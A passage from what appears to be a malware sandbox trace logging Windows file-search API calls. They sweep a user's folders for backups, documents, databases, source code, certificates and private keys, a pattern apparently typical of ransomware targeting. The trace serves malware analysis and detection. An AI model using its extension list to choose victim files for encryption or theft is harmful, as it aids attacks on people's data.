HALPmcxz\\AppData\\Local\\VirtualStore\\*.ABF", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ABK", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ABU", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ABU1", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ACP", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.620] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ACR", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.620] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ADI", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.620] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.AEA", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.620] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.AFI", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.621] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ARC", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.621] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ARC", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.621] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.AS4", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.621] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ASD", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ASHBAK", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ASV", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ASVX", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ATE", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.623] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ATI", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.623] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.BA6", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.623] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.BA7", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.623] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.BAC", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.624] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.BACKUPDB", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.624] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.BAK2", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.624] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.BAK3", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.624] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.BAKX", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0110.197] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x2bea00 [0110.403] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.403] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.403] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.403] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.403] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.403] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.403] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.403] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.403] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.403] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.404] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0110.410] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.410] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.410] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.410] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.411] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.411] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.411] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.411] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.411] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.411] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.411] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0110.593] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.593] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.593] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.593] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.593] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.593] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.593] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.593] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.593] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0110.604] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.605] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.606] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.606] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.606] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.606] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.606] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.606] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.606] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0110.616] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ico", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.617] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.htm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.617] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ttf", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.618] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.cs", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.618] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.vb", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.618] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.c", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.618] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.py", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.618] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.jar", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.h", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.plist", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.backup", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.aspx", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.619] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.js", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.620] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.crt", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.620] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.csr", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.620] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.p12", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.620] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.pem", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.620] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.odt", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.621] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sxw", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.621] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.stw", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.621] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.3ds", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.621] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.max", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.621] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.3dm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ods", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sxc", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.stc", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.dif", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.slk", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.623] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.wb2", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.623] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.odp", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.623] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sxd", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.623] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.std", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.624] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sxm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.624] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sqlite3", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.624] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sqlitedb", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.624] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sql", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.624] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.accdb", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.625] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.mdb", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.625] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.dbf", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.626] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.odb", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.626] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.mdf", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.626] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.ldf", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.626] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.cpp", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.627] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.pas", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.627] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.asm", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.627] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.cmd", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.627] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.bat", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.627] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.vbs", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.628] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.sch", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.628] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.jsp", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) returned 0xffffffffffffffff [0110.628] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\*.php", lpFindFileData=0x1ae2c0 | out: lpFindFileData=0x1ae2c0) 